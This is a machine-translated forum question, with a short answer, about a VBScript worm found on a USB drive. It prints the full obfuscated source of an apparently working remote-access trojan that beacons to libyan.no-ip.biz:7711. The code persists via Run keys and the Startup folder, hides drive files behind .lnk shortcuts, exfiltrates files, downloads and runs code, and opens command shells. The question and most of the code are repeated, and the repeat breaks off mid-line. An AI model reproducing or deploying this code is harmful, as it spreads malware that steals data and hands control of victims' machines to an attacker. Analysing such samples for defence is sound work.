有人可以解释我在闪存中找到的 VBscript 脚本文件吗？
Could someone expliane that VBscript script file i found in memory flash?
该文件似乎是病毒。
内存闪存中带有脚本文件的真实文件被隐藏，并与打开它们的 .lnk 文件链接，同时 运行 脚本。
有关 VBS/LNK.JENXCUS.Gen 木马的防病毒警报。
代码有什么作用？它会在启动文件夹中为自己创建一个副本，即使我将其删除也是如此。
Dim zvn
Dim dnqeqvrrc_
xs=("""")
n=(vbcrlf)
Function bnowmx()
zvn=zvn&""&n&"noitcnuf dne"&n&"ynamorflladaer = llehsdmc"&n&"fi dne"&n&""&xs&""&xs&" = ynamorflladaer"&n&" esle"&n&"lladaer.rredts.cexeo = ynamorflladaer"&n&"neht maertsfodneta.rredts.cexeo ton fiesle"&n&"lladaer.tuodts.cexeo = ynamorflladaer"&n&"neht maertsfodneta.tuodts.cexeo ton fi"&n&")dmc & "&xs&" c/ %cepsmoc%"&xs&"( cexe.jbollehs = cexeo tes"&n&"ynamorflladaer,cexeo,jboptth mid"&n&")dmc( llehsdmc noitcnuf"&n&"bus dne"&n&"lru redlofeteled.jbo"
zvn=zvn&"metsyselif"&n&"lru elifeteled.jbometsyselif"&n&"txen emuser rorre no"&n&")lru( fafeteled bus"&n&"bus dne"&n&"eurt,7,dip & "&xs&" DIP/ T/ F/ llikksat"&xs&" nur.jbollehs"&n&"txen emuser rorre no"&n&")dip( ssecorptixe bus"&n&"noitcnuf dne"&n&"txen"&n&"retilps & htapelbatucexe.metijbo & ssecorpmune = ssecorpmune"&n&""&xs&"|"&xs&" & dissecorp.metijbo & ssecorpmune = ssecorpmune "&n&""&xs&"|"&xs&" & eman.metijbo & ssecorpmune = ssecorpmune "&n&"smetiloc ni metijbo hcae rof"&n&"metijbo mid"&n&")84,,"&xs&"ssecorp_23niw morf * tceles"&xs&"(yreuqcexe.ecivresimwjbo = smetiloc tes"&n&")"&xs&"2vmic\toor\.\:stmgmniw"&xs&"(tcejboteg = ecivresimwjbo tes"&n&"txen emuser rorre no"&n&")( ssecorpmune noitcnuf"&n&"noitcnuf dne"&n&"txen"&n&"retilps & setubirtta.elif & "&xs&"|"&xs&" & "&xs&"f"&xs&" & "&xs&"|"&xs&" & ezis.elif & "&xs&"|"&xs&" & eman.elif & fafmune = fafmune"&n&"selif.)ridmune( redlofteg.jbometsyselif ni elif hcae rof"&n&"txen"&n&"retilps & setubirtta.redlof & "&xs&"|"&xs&" & "&xs&"d"&xs&" & "&xs&"|"&xs&" & "&xs&""&xs&" & "&xs&"|"&xs&" & eman.redlof & fafmune = fafmune"&n&"sredlofbus.)ridmune( redlofteg.jbometsyselif ni redlof hcae rof"&n&"retilps & ridmune = fafmune"&n&")ridmune( fafmune noitcnuf"&n&"noitcnuF dne"&n&"txen"&n&"fi dne"&n&"retilps & epytevird.evird & "&xs&"|"&xs&" & htap.evird & revirdmune = revirdmune"&n&"neht eurt = ydaersi.evird fi"&n&"sevird.jbometsyselif ni evird hcae rof"&n&")( revirdmune noitcnuf"&n&"noitcnuf dne"&n&"reffub dnes.jboptth"&n&"eslaf ,lruelif & retilps & "&xs&"gnivcer-si"&xs&" & "&xs&"/"&xs&"& trop & "&xs&":"&xs&" & tsoh & "&xs&"//:ptth"&xs&","&xs&"tsop"&xs&" nepo.jboptth"&n&")"&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = jboptth tes"&n&"gni"
zvn=zvn&"hton = daolnwodmaertsjbo tes"&n&"htiw dne"&n&"esolc. "&n&"daer. = reffub "&n&"lruelif elifmorfdaol. "&n&"nepo."&n&" 1 = epyt."&n&" edaolpumaertsjbo htiw"&n&")"&xs&"maerts.bdoda"&xs&"(tcejboetaerc = edaolpumaertsjbo tes"&n&"reffub,edaolpumaertsjbo,jboptth mid"&n&")lruelif( daolpu noitcnuf"&n&"bus dne"&n&" fi dne"&n&"htaptrohs.)otevasrts( elifteg.daolnwodosfjbo nur.jbollehs"&n&"neht )otevasrts(stsixeelif.daolnwodosfjbo fi"&n&"fi dne"&n&"gnihton = daolnwodmaertsjbo tes"&n&"htiw dne "&n&"esolc. "&n&"otevasrts elifotevas. "&n&"ydobesnopser.daolnwodptthjbo etirw. "&n&"nepo. "&n&" 1 = epyt. "&n&" daolnwodmaertsjbo htiw"&n&")"&xs&"maerts.bdoda"&xs&"(tcejboetaerc = daolnwodmaertsjbo tes "&n&"daolnwodmaertsjbo mid"&n&"neht 002 = sutats.daolnwodptthjbo fi"&n&"fi dne"&n&")otevasrts( elifeteled.daolnwodosfjbo"&n&"neht )otevasrts( stsixeelif.daolnwodosfjbo fi"&n&")"&xs&"tcejbometsyselif.gnitpircs"&xs&"( tcejboetaerc = daolnwodosfjbo tes"&n&" "&n&""&xs&""&xs&" dnes.daolnwodptthjbo"&n&"eslaf ,lruelif & retilps & "&xs&"gnidnes-si"&xs&" & "&xs&"/"&xs&"& trop & "&xs&":"&xs&" & tsoh & "&xs&"//:ptth"&xs&","&xs&"tsop"&xs&" nepo.daolnwodptthjbo"&n&")"&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = daolnwodptthjbo tes"&n&")1 + )"&xs&"\"&xs&",lruelif( verrtsni ,lruelif( dim & ridelif = otevasrts"&n&"fi dne"&n&"ridllatsni = ridelif"&n&" neht "&xs&""&xs&" = ridelif fi"&n&")ridelif,lruelif( daolnwod bus"&n&"bus dne"&n&" fi dne"&n&"htaptrohs.)otevasrts( elifteg.daolnwodosfjbo nur.jbollehs"&n&"neht )otevasrts(stsixeelif.daolnwodosfjbo fi"&n&"fi dne"&n&"gnihton = daolnwodmaertsjbo tes"&n&"htiw dne"&n&"esolc. "&n&"otevasrts elifote"
zvn=zvn&"vas. "&n&"ydobesnopser.daolnwodptthjbo etirw. "&n&"nepo. "&n&" 1 = epyt. "&n&"daolnwodmaertsjbo htiw"&n&")"&xs&"maerts.bdoda"&xs&"(tcejboetaerc = daolnwodmaertsjbo tes"&n&"daolnwodmaertsjbo mid"&n&"neht 002 = sutats.daolnwodptthjbo fi"&n&" "&n&"fi dne"&n&")otevasrts( elifeteled.daolnwodosfjbo"&n&"neht )otevasrts( stsixeelif.daolnwodosfjbo fi"&n&")"&xs&"tcejbometsyselif.gnitpircs"&xs&"( tcejboetaerc = daolnwodosfjbo tes"&n&"dnes.daolnwodptthjbo"&n&"eslaf ,knilrts ,"&xs&"teg"&xs&" nepo.daolnwodptthjbo"&n&") "&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = daolnwodptthjbo tes"&n&"emanelif & ridllatsni = otevasrts"&n&"lruelif = knilrts"&n&")emanelif,lruelif( redaolnwodetis bus"&n&"noitcnuf dne"&n&"tiuq.tpircsw neht 0 > rebmun.rre fi"&n&")eslaf ,8, emanllatsni & ridllatsni( eliftxetnepo.jbometsyselif = ecnoeno tes"&n&"raelc.rre"&n&"fI dne"&n&" tiuq.tpircsw"&n&")43(rhC & emanllatsni & ridllatsni & )43(rhc & "&xs&" B// exe.tpircsw"&xs&" nur.jbollehs"&n&" neht )htaptrohs.trohsemanllufllatsni( esacl >< )htaptrohs.trohsemanlluftpircs( esacl fi"&n&")emanllatsni & ridllatsni( elifteg.jbometsyselif = trohsemanllufllatsni tes"&n&")emanlluftpircs.tpircsw( elifteg.jbometsyselif = trohsemanlluftpircs tes"&n&"tratspu"&n&"fI dne"&n&"fi dne"&n&""&xs&"ZS_GER"&xs&" ,gnidaerpsbsu ,"&xs&"\"&xs&" & )0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\erawtfos\ENIHCAM_LACOL_YEKH"&xs&" etirwger.jbollehs"&n&"etad & "&xs&" - eslaf"&xs&" = gnidaerpsbsu"&n&"esle"&n&""&xs&"ZS_GER"&xs&" ,gnidaerpsbsu ,"&xs&"\"&xs&" & )0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\erawtfos\ENIHCAM_LACOL_YEKH"&xs&" etirwger.jbollehs"&n&"etad"
zvn=zvn&" & "&xs&" - eurt"&xs&" = gnidaerpsbsu"&n&"neht )emanllatsni(esacl & "&xs&"\:"&xs&" = ))2,emanlluftpircs.tpircsw(dim ( esacl fi"&n&"neht "&xs&""&xs&" = gnidaerpsbsu fi"&n&")"&xs&"\"&xs&" & )0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\erawtfos\ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs = gnidaerpsbsu"&n&"txen emuser rorre no"&n&"ecnatsni noitcnuf"&n&"noitcnuf dne"&n&""&xs&"va-nan"&xs&" = ytiruces neht "&xs&""&xs&" = ytiruces fi"&n&"txen"&n&""&xs&". "&xs&" & emanyalpsid.surivitnajbo & ytiruces = ytiruces"&n&"surivitnaloc ni surivitnajbo hcae rof"&n&")0,"&xs&"lqw"&xs&","&xs&"tcudorpsurivitna morf * tceles"&xs&"(yreuqcexe.retnecytirucesjbo = surivitnaloc teS"&n&")cs & "&xs&"\toor\tsohlacol\:stmgmniw"&xs&"(tcejboteg = retnecytirucesjbo tes"&n&""&xs&"retnecytiruces"&xs&" = cs esle "&xs&"2retnecytiruces"&xs&" = cs neht 6 > noisrevso fi"&n&")noisrevso( lave = noisrevso"&n&"txen"&n&")i( rtsnoisrev & noisrevso = noisrevso "&n&")rtsnoisrev( dnuobu ot 1 = x rof"&n&""&xs&"."&xs&" & )0( rtsnoisrev = noisrevso"&n&")"&xs&"."&xs&",noisrev.smetiloc( tilps = rtsnoisrev"&n&"txen"&n&")"&xs&"."&xs&",noisrev.metijbo( tilps = rtsnoisrev"&n&"smetiloc ni metijbo hcae rof"&n&")84,,"&xs&"metsysgnitarepo_23niw morf * tceles"&xs&"(yreuqcexe.ecivresimwjbo = smetiloc tes"&n&")"&xs&"2vmic\toor\.\!}etanosrepmi=levelnoitanosrepmi{:stmgmniw"&xs&"(tcejboteg = ecivresimwjbo tes"&n&""&xs&""&xs&" = ytiruces"&n&"txen emuser rorre no"&n&" ytiruces noitcnuf"&n&"noitcnuf dne"&n&"txen"&n&"fi dne"&n&"rof tixe"&n&"rebmunlairesemulov.ksid = diwh"&n&"neht "&xs&""&xs&" >< rebmunlairesemulov.ksid fi"&n&"sksid ni ksid hcae rof"&n&")"&xs&"ksidlacigol_23niw morf * tceles"&xs&"( yreuqcexe.toor = sksid tes"&n&")"
zvn=zvn&""&xs&"2vmic\toor\.\!}etanosrepmi=levelnoitanosrepmi{:stmgmniw"&xs&"(tcejboteg = toor tes"&n&"txen emuser rorre no"&n&"diwh noitcnuf"&n&"bus dne"&n&"eurt, emanllatsni & putrats,emanlluftpircs.tpircsw elifypoc.jbometsyselif"&n&"eurt,emanllatsni & ridllatsni,emanlluftpircs.tpircsw elifypoc.jbometsyselif"&n&""&xs&"ZS_GER"&xs&" , )43(wrhc & emanllatsni & ridllatsni & )43(wrhc & "&xs&" B// exe.tpircsw"&xs&" ,)0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\nur\noisrevtnerruc\swodniw\tfosorcim\erawtfos\ENIHCAM_LACOL_YEKH"&xs&" etirwger.jbollehs"&n&""&xs&"ZS_GER"&xs&" , )43(wrhc & emanllatsni & ridllatsni & )43(wrhc & "&xs&" B// exe.tpircsw"&xs&" ,)0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\nur\noisrevtnerruc\swodniw\tfosorcim\erawtfos\RESU_TNERRUC_YEKH"&xs&" etirwger.jbollehs"&n&"txeN emuser rorre no"&n&")( tratspu bus"&n&"noitcnuf dne"&n&"fi dne"&n&"fni = noitamrofni"&n&"esle"&n&" fni = noitamrofni"&n&"gnidaerpsbsu & fni = fni"&n&"retilps & ytiruces & fni = fni"&n&"retilps & "&xs&"sulp"&xs&" & fni = fni"&n&"txen"&n&"rof tixe"&n&" retilps & noitpac.ofniso & fni = fni"&n&"so ni ofniso hcae rof"&n&")"&xs&"metsysgnitarepo_23niw morf * tceles"&xs&"( yreuqcexe.toor = so tes"&n&")"&xs&"2vmic\toor\.\!}etanosrepmi=levelnoitanosrepmi{:stmgmniw"&xs&"(tcejboteg = toor tes"&n&"retilps & )"&xs&"%emanresu%"&xs&"(sgnirtstnemnorivnednapxe.jbollehs & fni = fni"&n&" retilps & )"&xs&"%emanretupmoc%"&xs&"(sgnirtstnemnorivnednapxe.jbollehs & fni = fni"&n&" retilps & diwh = fni"&n&"neht "&xs&""&xs&" = fni fi"&n&"txen emuser rorre no"&n&"noitamrofni noitcnuf"&n&"noitcnuf dne"&n&"txetesnopser.jboptth ="
zvn=zvn&" tsop"&n&"marap dnes.jboptth"&n&"noitamrofni,"&xs&":tnega-resu"&xs&" redaehtseuqertes.jboptth"&n&"eslaf ,dmc & "&xs&"/"&xs&"& trop & "&xs&":"&xs&" & tsoh & "&xs&"//:ptth"&xs&","&xs&"tsop"&xs&" nepo.jboptth"&n&"marap = tsop"&n&")marap, dmc( tsop noitcnuf"&n&"bus dne"&n&"tiuq.tpircsw"&n&"txen"&n&"fi dne"&n&"fi dne"&n&"fi dne"&n&"txen"&n&"0 = setubirtta.redlof"&n&"sredlofbus.) "&xs&"\"&xs&" & htap.evird (redlofteg.jbometsyselif ni redlof hcae rof"&n&"txen"&n&"fi dne"&n&"fi dne"&n&" )htap.elif( elifeteled.jbometsyselif"&n&"esle"&n&"fI dne"&n&")eman.elif & "&xs&"\"&xs&" & htap.evird( elifeteled.jbometsyselif"&n&"esle"&n&") "&xs&"knl."&xs&" & )0(emanelif & "&xs&"\"&xs&" & htap.evird( elifeteled.jbometsyselif"&n&")"&xs&"."&xs&",eman.elif(tilps = emanelif"&n&"neht )emanllatsni( esacu >< )eman.elif( esacu fi"&n&"0 = setubirtta.elif"&n&"neht "&xs&"knl"&xs&" >< ))))"&xs&"."&xs&" ,eman.elif(tilps(dnuobu()"&xs&"."&xs&" ,eman.elif(tilps( esacl fi"&n&"neht )"&xs&"."&xs&",eman.elif( rtsni fi"&n&"txen emuser rorre no"&n&"selif.)"&xs&"\"&xs&" & htap.evird ( redlofteg.jbometsyselif ni elif hcae rof"&n&"neht 1 = epytevird.evird fi"&n&"neht 0 > ecapseerf.evird fi"&n&"neht eurt = ydaersi.evird fi"&n&"sevird.jbometsyselif ni evird hcae rof"&n&"eurt, emanlluftpircs.tpircsw elifeteled.jbometsyselif"&n&"eurt, emanllatsni & putrats elifeteled.jbometsyselif"&n&")0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\nur\noisrevtnerruc\swodniw\tfosorcim\erawtfos\ENIHCAM_LACOL_YEKH"&xs&" eteledger.jbollehs"&n&")0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\nur\noisrevtnerruc\swodniw\tfosorcim\erawtfos\RESU_TNERRUC_YEKH"&xs&" eteledger.jbollehs"&n&"emanredlof mid"&n&"emanelif mid"&n&"txen e"
zvn=zvn&"muser rorre no"&n&"llatsninu bus"&n&"bus dne"&n&"raelc.rre"&n&"txen"&n&"fi dne"&n&"fI dne"&n&"fI dne"&n&"txen"&n&")(evas.jboknl"&n&"fi dne"&n&"nociredlof = noitacolnoci.jboknl"&n&" esle"&n&"htap.redlof = noitacolnoci.jboknl"&n&"neht 0 = )"&xs&","&xs&",nociredlof( rtsni fi"&n&" )"&xs&"\nocitluafed\redlof\sessalc\erawtfos\ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs = nociredlof"&n&""&xs&"tixe&"&xs&"& ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",eman.redlof(ecalper & "&xs&" rerolpxe trats&"&xs&" & ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",emanllatsni(ecalper & "&xs&" trats c/"&xs&" = stnemugra.jboknl"&n&""&xs&""&xs&" = yrotceridgnikrow.jboknl"&n&""&xs&"exe.dmc"&xs&" = htaptegrat.jboknl"&n&"7 = elytswodniw.jboknl"&n&" )"&xs&"knl."&xs&" & emanredlof & "&xs&"\"&xs&" & htap.evird( tuctrohsetaerc.jbollehs = jboknl tes"&n&"eman.redlof = emanredlof"&n&"4+2 = setubirtta.redlof"&n&"rof tixe neht redlofknl ton fi"&n&"sredlofbus.) "&xs&"\"&xs&" & htap.evird (redlofteg.jbometsyselif ni redlof hcae rof"&n&"txen"&n&"fi dne"&n&"fi dne"&n&"fi dne"&n&")(evas.jboknl"&n&"fi dne"&n&"nocielif = noitacolnoci.jboknl"&n&" esle"&n&"htap.elif = noitacolnoci.jboknl"&n&"neht 0 = )"&xs&","&xs&",nocielif( rtsni fi"&n&" )"&xs&"\nocitluafed\"&xs&" & )"&xs&"\"&xs&" &)))"&xs&"."&xs&" ,eman.elif(tilps(dnuobu()"&xs&"."&xs&" ,eman.elif(tilps & "&xs&".\sessalc\erawtfos\ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs & "&xs&"\sessalc\erawtfos\ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs = nocielif"&n&""&xs&"tixe&"&xs&"& ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",eman.elif(ecalper & "&xs&" trats&"&xs&" & ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",emanllatsni(ecalper & "&xs&" trats c/"&xs&" = stnemugra.jboknl"&n&""&xs&""&xs&" = yrotceridgnikrow.jboknl"&n&""&xs&"ex"
zvn=zvn&"e.dmc"&xs&" = htaptegrat.jboknl"&n&"7 = elytswodniw.jboknl"&n&" )"&xs&"knl."&xs&" & )0( emanelif & "&xs&"\"&xs&" & htap.evird( tuctrohsetaerc.jbollehs = jboknl tes"&n&")"&xs&"."&xs&",eman.elif(tilps = emanelif"&n&"neht )emanllatsni( esacu >< )eman.elif( esacu fi"&n&"4+2 = setubirtta.elif"&n&"neht "&xs&"knl"&xs&" >< ))))"&xs&"."&xs&" ,eman.elif(tilps(dnuobu( )"&xs&"."&xs&" ,eman.elif(tilps( esacl fi"&n&"neht )"&xs&"."&xs&",eman.elif( rtsni fi"&n&"rof tixe neht elifknl ton fi"&n&"seliF.) "&xs&"\"&xs&" & htap.evird (redlofteg.jbometsyselif ni elif hcae rof"&n&"fi dne"&n&"4+2 = setubirtta.)emanllatsni & "&xs&"\"&xs&" & htap.evird(elifteg.jbometsyselif"&n&"neht )emanllatsni & "&xs&"\"&xs&" & htap.evird( stsixeelif.jbometsyselif fi"&n&"eurt,emanllatsni & "&xs&"\"&xs&" & htap.evird , emanlluftpircs.tpircsw elifypoc.jbometsyselif"&n&"neht 1 = epytevird.evird fi"&n&"neht 0 > ecapseerf.evird fi"&n&"neht eurt = ydaersi.evird fi"&n&"sevird.jbometsyselif ni evird hcae rof"&n&"tratspu"&n&"nociredlof mid"&n&"nocielif mid"&n&"emanredlof mid"&n&"emanelif mid"&n&"jboknl mid"&n&"txen emuser rorre no"&n&"llatsni bus"&n&"dnew"&n&"peels peels.tpircsw"&n&"tceles dne"&n&" )marap( lave = peels"&n&")1( dmc = marap"&n&""&xs&"peels"&xs&" esac"&n&" )marap( ssecorptixe"&n&")1( dmc = marap"&n&""&xs&"ssecorp-tixe"&xs&" esac"&n&" )marap( fafeteled"&n&")1( dmc = marap"&n&""&xs&"eteled"&xs&" esac"&n&" )marap( llehsdmc,"&xs&"llehs-dmc-si"&xs&" tsop"&n&")1( dmc = marap"&n&""&xs&"llehs-dmc"&xs&" esac"&n&" ssecorpmune,"&xs&"ssecorp-mune-si"&xs&" tsop"&n&""&xs&"ssecorp-mune"&xs&" esac"&n&")marap( fafmune,"&xs&"faf-mune-si"&xs&" tsop"&n&")1( dmc = marap"&n&""&xs&"faf-mune"&xs&" esac"&n&" revirdmune,"&xs&"revir"
zvn=zvn&"d-mune-si"&xs&" tsop"&n&""&xs&"revird-mune"&xs&" esac"&n&")marap( daolpu"&n&")1( dmc = marap"&n&""&xs&"vcer"&xs&" esac"&n&")2( dmc,)1( dmc redaolnwodetis"&n&""&xs&"dnes-etis"&xs&" esac"&n&")2( dmc,)1( dmc daolnwod"&n&""&xs&"dnes"&xs&" esac"&n&"llatsninu"&n&""&xs&"llatsninu"&xs&" esac"&n&" tiuq.tpircsw"&n&")43(rhc & emanllatsni & ridllatsni & )43(rhc & "&xs&" B// exe.tpircsw"&xs&" nur.jbollehs"&n&"esolc.ecnoeno"&n&"marap etirw.ecnoeno"&n&")eslaf ,2, emanllatsni & ridllatsni( eliftxetnepo.jbometsyselif = ecnoeno tes"&n&"esolc.ecnoeno"&n&")1( dmc = marap"&n&""&xs&"etadpu"&xs&" esac"&n&"marap etucexe"&n&")1( dmc = marap"&n&""&xs&"etucecxe"&xs&" esac"&n&")0( dmc esac tceles"&n&")retilps,esnopser( tilps = dmc"&n&")"&xs&""&xs&","&xs&"ydaer-si"&xs&"( tsop = esnopser"&n&""&xs&""&xs&" = esnopser"&n&"llatsni"&n&"eurt elihw"&n&"ecnatsni"&n&"txen emuser rorre no"&n&"ecnoeno mid"&n&""&xs&""&xs&" = etadtrats"&n&""&xs&""&xs&" = gnidaerpsbsu"&n&""&xs&""&xs&" = ofni"&n&"marap mid"&n&"dmc mid"&n&"esnopser mid"&n&" 0005 = peels"&n&""&xs&">"&xs&" & "&xs&"|"&xs&" & "&xs&"<"&xs&" = retilps"&n&""&xs&"\"&xs&" & )"&xs&"%pmet%"&xs&"(sgnirtstnemnorivnednapxe.jbollehs = ridllatsni neht )ridllatsni(stsixeredlof.jbometsyselif ton fi"&n&""&xs&"\"&xs&" & )ridllatsni(sgnirtstnemnorivnednapxe.jbollehs = ridllatsni"&n&""&xs&"\"&xs&" & )"&xs&"putrats"&xs&"( sredloflaiceps.jbollehs = putrats"&n&"emantpircs.tpircsw = emanllatsni"&n&")"&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = jboptth tes"&n&"jboptth mid"&n&")"&xs&"tcejbometsyselif.gnitpircs"&xs&"(tcejboetaerc = jbometsyselif tes"&n&"jbometsyselif mid"&n&")"&xs&"llehs.tpircsw"&xs&"(tcejboetaerc.tpircsw = jbollehs tes"&n&" jbollehs mid"&n&"eurt = redlofknl"&n&"eurt = elifknl"&n&""&xs&"%pmet%"&xs&" = ridllatsni"&n&"7711 = trop"&n&""&xs&"zib.pi-on.naybil"&xs&" = tsoh"&n&"reDoCXdaME'"
for azcujbz=(((len)(zvn)))to(1)Step(-1)
ypqmwkll=(mid(zvn,azcujbz,1))
dnqeqvrrc_=(dnqeqvrrc_&ypqmwkll&szauuy_l_vr)
next
bnowmx=dnqeqvrrc_
End Function
Executeglobal(cstr(bnowmx()))
'EMadXCoDer,www.dev-point.com
代码将自身安装在用户的启动文件夹中，然后设置两个 运行 注册表项以在机器启动时执行脚本。当 运行 时，脚本开始一个永远执行的循环。每次通过循环它都会重新安装自己，然后打开一个到 libyan.no-ip.biz 的套接字并请求指令。响应指令可以是很多东西，包括让脚本发送驱动器上的信息或下载并执行任意代码。
该文件似乎是病毒。
内存闪存中带有脚本文件的真实文件被隐藏，并与打开它们的 .lnk 文件链接，同时 运行 脚本。
有关 VBS/LNK.JENXCUS.Gen 木马的防病毒警报。
代码有什么作用？它会在启动文件夹中为自己创建一个副本，即使我将其删除也是如此。
Dim zvn
Dim dnqeqvrrc_
xs=("""")
n=(vbcrlf)
Function bnowmx()
zvn=zvn&""&n&"noitcnuf dne"&n&"ynamorflladaer = llehsdmc"&n&"fi dne"&n&""&xs&""&xs&" = ynamorflladaer"&n&" esle"&n&"lladaer.rredts.cexeo = ynamorflladaer"&n&"neht maertsfodneta.rredts.cexeo ton fiesle"&n&"lladaer.tuodts.cexeo = ynamorflladaer"&n&"neht maertsfodneta.tuodts.cexeo ton fi"&n&")dmc & "&xs&" c/ %cepsmoc%"&xs&"( cexe.jbollehs = cexeo tes"&n&"ynamorflladaer,cexeo,jboptth mid"&n&")dmc( llehsdmc noitcnuf"&n&"bus dne"&n&"lru redlofeteled.jbo"
zvn=zvn&"metsyselif"&n&"lru elifeteled.jbometsyselif"&n&"txen emuser rorre no"&n&")lru( fafeteled bus"&n&"bus dne"&n&"eurt,7,dip & "&xs&" DIP/ T/ F/ llikksat"&xs&" nur.jbollehs"&n&"txen emuser rorre no"&n&")dip( ssecorptixe bus"&n&"noitcnuf dne"&n&"txen"&n&"retilps & htapelbatucexe.metijbo & ssecorpmune = ssecorpmune"&n&""&xs&"|"&xs&" & dissecorp.metijbo & ssecorpmune = ssecorpmune "&n&""&xs&"|"&xs&" & eman.metijbo & ssecorpmune = ssecorpmune "&n&"smetiloc ni metijbo hcae rof"&n&"metijbo mid"&n&")84,,"&xs&"ssecorp_23niw morf * tceles"&xs&"(yreuqcexe.ecivresimwjbo = smetiloc tes"&n&")"&xs&"2vmic\toor\.\:stmgmniw"&xs&"(tcejboteg = ecivresimwjbo tes"&n&"txen emuser rorre no"&n&")( ssecorpmune noitcnuf"&n&"noitcnuf dne"&n&"txen"&n&"retilps & setubirtta.elif & "&xs&"|"&xs&" & "&xs&"f"&xs&" & "&xs&"|"&xs&" & ezis.elif & "&xs&"|"&xs&" & eman.elif & fafmune = fafmune"&n&"selif.)ridmune( redlofteg.jbometsyselif ni elif hcae rof"&n&"txen"&n&"retilps & setubirtta.redlof & "&xs&"|"&xs&" & "&xs&"d"&xs&" & "&xs&"|"&xs&" & "&xs&""&xs&" & "&xs&"|"&xs&" & eman.redlof & fafmune = fafmune"&n&"sredlofbus.)ridmune( redlofteg.jbometsyselif ni redlof hcae rof"&n&"retilps & ridmune = fafmune"&n&")ridmune( fafmune noitcnuf"&n&"noitcnuF dne"&n&"txen"&n&"fi dne"&n&"retilps & epytevird.evird & "&xs&"|"&xs&" & htap.evird & revirdmune = revirdmune"&n&"neht eurt = ydaersi.evird fi"&n&"sevird.jbometsyselif ni evird hcae rof"&n&")( revirdmune noitcnuf"&n&"noitcnuf dne"&n&"reffub dnes.jboptth"&n&"eslaf ,lruelif & retilps & "&xs&"gnivcer-si"&xs&" & "&xs&"/"&xs&"& trop & "&xs&":"&xs&" & tsoh & "&xs&"//:ptth"&xs&","&xs&"tsop"&xs&" nepo.jboptth"&n&")"&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = jboptth tes"&n&"gni"
zvn=zvn&"hton = daolnwodmaertsjbo tes"&n&"htiw dne"&n&"esolc. "&n&"daer. = reffub "&n&"lruelif elifmorfdaol. "&n&"nepo."&n&" 1 = epyt."&n&" edaolpumaertsjbo htiw"&n&")"&xs&"maerts.bdoda"&xs&"(tcejboetaerc = edaolpumaertsjbo tes"&n&"reffub,edaolpumaertsjbo,jboptth mid"&n&")lruelif( daolpu noitcnuf"&n&"bus dne"&n&" fi dne"&n&"htaptrohs.)otevasrts( elifteg.daolnwodosfjbo nur.jbollehs"&n&"neht )otevasrts(stsixeelif.daolnwodosfjbo fi"&n&"fi dne"&n&"gnihton = daolnwodmaertsjbo tes"&n&"htiw dne "&n&"esolc. "&n&"otevasrts elifotevas. "&n&"ydobesnopser.daolnwodptthjbo etirw. "&n&"nepo. "&n&" 1 = epyt. "&n&" daolnwodmaertsjbo htiw"&n&")"&xs&"maerts.bdoda"&xs&"(tcejboetaerc = daolnwodmaertsjbo tes "&n&"daolnwodmaertsjbo mid"&n&"neht 002 = sutats.daolnwodptthjbo fi"&n&"fi dne"&n&")otevasrts( elifeteled.daolnwodosfjbo"&n&"neht )otevasrts( stsixeelif.daolnwodosfjbo fi"&n&")"&xs&"tcejbometsyselif.gnitpircs"&xs&"( tcejboetaerc = daolnwodosfjbo tes"&n&" "&n&""&xs&""&xs&" dnes.daolnwodptthjbo"&n&"eslaf ,lruelif & retilps & "&xs&"gnidnes-si"&xs&" & "&xs&"/"&xs&"& trop & "&xs&":"&xs&" & tsoh & "&xs&"//:ptth"&xs&","&xs&"tsop"&xs&" nepo.daolnwodptthjbo"&n&")"&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = daolnwodptthjbo tes"&n&")1 + )"&xs&"\"&xs&",lruelif( verrtsni ,lruelif( dim & ridelif = otevasrts"&n&"fi dne"&n&"ridllatsni = ridelif"&n&" neht "&xs&""&xs&" = ridelif fi"&n&")ridelif,lruelif( daolnwod bus"&n&"bus dne"&n&" fi dne"&n&"htaptrohs.)otevasrts( elifteg.daolnwodosfjbo nur.jbollehs"&n&"neht )otevasrts(stsixeelif.daolnwodosfjbo fi"&n&"fi dne"&n&"gnihton = daolnwodmaertsjbo tes"&n&"htiw dne"&n&"esolc. "&n&"otevasrts elifote"
zvn=zvn&"vas. "&n&"ydobesnopser.daolnwodptthjbo etirw. "&n&"nepo. "&n&" 1 = epyt. "&n&"daolnwodmaertsjbo htiw"&n&")"&xs&"maerts.bdoda"&xs&"(tcejboetaerc = daolnwodmaertsjbo tes"&n&"daolnwodmaertsjbo mid"&n&"neht 002 = sutats.daolnwodptthjbo fi"&n&" "&n&"fi dne"&n&")otevasrts( elifeteled.daolnwodosfjbo"&n&"neht )otevasrts( stsixeelif.daolnwodosfjbo fi"&n&")"&xs&"tcejbometsyselif.gnitpircs"&xs&"( tcejboetaerc = daolnwodosfjbo tes"&n&"dnes.daolnwodptthjbo"&n&"eslaf ,knilrts ,"&xs&"teg"&xs&" nepo.daolnwodptthjbo"&n&") "&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = daolnwodptthjbo tes"&n&"emanelif & ridllatsni = otevasrts"&n&"lruelif = knilrts"&n&")emanelif,lruelif( redaolnwodetis bus"&n&"noitcnuf dne"&n&"tiuq.tpircsw neht 0 > rebmun.rre fi"&n&")eslaf ,8, emanllatsni & ridllatsni( eliftxetnepo.jbometsyselif = ecnoeno tes"&n&"raelc.rre"&n&"fI dne"&n&" tiuq.tpircsw"&n&")43(rhC & emanllatsni & ridllatsni & )43(rhc & "&xs&" B// exe.tpircsw"&xs&" 